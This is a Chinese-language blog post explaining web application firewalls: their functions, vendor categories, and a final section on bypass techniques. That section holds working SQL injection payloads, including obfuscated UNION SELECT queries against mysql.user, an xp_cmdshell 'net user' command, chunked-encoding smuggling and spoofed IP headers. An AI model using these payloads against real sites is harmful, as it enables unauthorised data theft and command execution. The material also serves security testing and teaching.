Waf功能、分類與繞過

婷婷的橙子發表於2020-11-15

一. waf工作原理

Web應用防火牆是透過執行一系列針對HTTP/HTTPS的安全策略來專門為Web應用提供保護的一款產品。

常見的系統攻擊分為兩類:

  • 一是利用Web伺服器的漏洞進行攻擊,如DDOS攻擊、病毒木馬破壞等攻擊;
  • 二是利用網頁自身的安全漏洞進行攻擊,如SQL隱碼攻擊、跨站指令碼攻擊等。常見攻擊方式對網站伺服器帶來的危害主要集中在病毒木馬破壞、網頁非法篡改、各類網路攻擊帶來的威脅。

1. waf簡介

WAF是Web應用防火牆(Web Application Firewall)的簡稱,對來自Web應用程式客戶端的各類請求進行內容檢測和驗證,確保其安全性與合法性,對非法的請求予以實時阻斷,為Web應用提供防護,也稱作應用防火牆,是網路安全縱深防禦體系裡重要的一環。WAF屬於檢測型及糾正型防禦控制措施。WAF分為硬體WAF、軟體WAF(ModSecurity)和雲WAF。

WAF對請求的內容進行規則匹配、行為分析等識別出惡意行為,並執行相關動作,這些動作包括阻斷、記錄、告警等。

1. WAF主要功能

  1. 網馬木馬主動防禦及查殺

網頁木馬和網頁掛馬掃描工具採用特徵碼+啟發式引擎的查殺演算法,WEB木馬檢出率大於90%

  1. 流量監控

能夠實時監測到每個網站的進出流量和總流量,以及每個應用程式池及網站的CPU佔用情況

  1. 網站漏洞防禦功能

可攔截GET、POST、COOKIES等方式的SQL隱碼攻擊,可對GET、POST、COOKIES分別定義特徵碼,以及可攔截XSS注入等行為。

  1. 危險元件防護功能

全面攔截惡意程式碼對元件的呼叫許可權,攔截IIS執行惡意程式,保護網站安全

  1. .Net安全保護模組

快捷設定.Net安全模式,禁止.Net執行系統敏感函式,保障網站安全

  1. 雙層防盜鏈連結模式

    可以針對不同站點設定防盜鏈的過濾, 防止圖片、桌面、軟體、音樂、電影被人引用。如果發現請求者是盜用網站連結, 則自動重定向到錯誤處理頁面

  2. 網站特定資源防下載

支援對doc、mdb、mdf、myd等特定資源的防下載保護,加入要保護的敏感資料的路徑,即可防止敏感資料被下載

  1. CC攻擊防護

自主研發的獨特抗攻擊演算法,高效的主動防禦系統可有效防禦CC攻擊、流量攻擊。

  1. 網站流量保護

支援下載流量控制、下載執行緒控制。採用獨創的執行緒控制和流量控制技術, 大大提高伺服器效能, 保護網站流量。

10.IP黑白名單

全IP黑白名單功能允許使用者設定個性化的IP信任列表,直接遮蔽或者允許指定IP訪問網站。同時,增加iP臨時黑名單功能,以及實現了針對某個功能的iP白名單功能。同時,爬蟲白名單提供爬蟲信任機制,在出現誤攔截情況下,允許使用者自定義爬蟲信任。

二、市場Waf分類

1. 硬體Waf:

綠盟、啟明、安恆、知道創宇、天融信等

硬體Waf通常的安裝方式是將Waf序列部署在Web伺服器前端,用於檢測、阻斷異常流量。
常規硬體Waf的實現方式是透過代理技術代理來自外部的流量,並對請求包進行解析,透過安全規則庫的攻擊規則進行匹配,如成功匹配規則庫中的規則,則識別為異常並進行請求阻斷。

2. 軟體Waf:

安全狗、雲鎖、中介軟體自帶的Waf模組、D盾等

軟體Waf則是安裝在需要防護的伺服器上,實現方式通常是Waf監聽埠或以Web容器擴充套件方式進行請求檢測和阻斷。

3. 雲WAF:

阿里雲、安全狗、安恆、知道創宇、騰訊網站管家等

雲WAF,也稱WEB應用防火牆的雲模式,這種模式讓使用者不需要在自己的網路中安裝軟體程式或部署硬體裝置,就可以對網站實施安全防護,它的主要實現方式是利用DNS技術,透過移交域名解析權來實現安全防護。使用者的請求首先傳送到雲端節點進行檢測,如存在異常請求則進行攔截否則將請求轉發至真實伺服器。

三、Waf繞過方法

1、burp安裝waf模組

  • 步驟:外掛擴充套件–BApp Store–Bypass WAF
  • 專案選項–會議–會話處理規則–新增

2、透過工具偽造百度、google等user agent頭或者偽造白名單特殊目錄

  • 把User-Agent修改百度等各大搜尋引擎的便可以繞過,把此處替換為百度等搜尋引擎的User-Agent

3、編碼繞過,把SQL語句編碼便可以繞過waf

4、修改請求方式繞過

  • 利用waf的預設規則繞過,如預設只針對GET攔截,不對post攔截,那我們就可以用POST方式傳輸繞過waf

5、複合引數繞過

  • 例如一個請求是這樣的
    GET /pen/news.php?id=1 union select user,password from mysql.user
  • 可以修改為
    GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

很多WAF都可以這樣繞,測試最新版WAF能繞過部分語句

6、WAF觸發規則的繞過

特殊字元替換空格:%0a/**/ /*|%23--%23|*/
特殊字元拼接:+
  • 如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
  • 可以改為:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
註釋包含關鍵字

如: GET /pen/news.php?id=1 union select user,password from mysql.user

可以改為: GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user

空格替換法
  • 把空格替換成%0a/**/可以繞過
使用大小寫
  • http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
雙寫繞過
  • UNIunionON SELselectECT 1,2,3,4….經過waf過濾後就變成union select 1,2,3,4....
異或繞過
  • lucy' Xor '1'='1' #

利用WAF本身的功能繞過,把”*”替換為空 union+select+1,2,3,4….

組合法:編碼與註釋

1、 替換法+URL編碼 2、註釋+替換法 3、內聯註釋+替換法

把and為&&,urlencode後為%26%26 如:%20%26%26%20-1=-1

7、分塊傳輸繞過

Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 87

4
id=1
6
 union
7
 select
2
 1
8
,user(),
5
3,4,5
0

Transfer-Encoding: chunked

id=1 union select 1,user(),3,4,5

8、 雲waf繞過

尋找真實ip繞過雲waf

9、 雲waf偽造請求包頭資訊

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1

繞過waf的方法有很多,也有許多方式被時代淘汰,你需要不停的思考繞過它的各種可能性,不斷的去完善它。

本作品採用《CC 協議》,轉載必須註明作者和本文連結

相關文章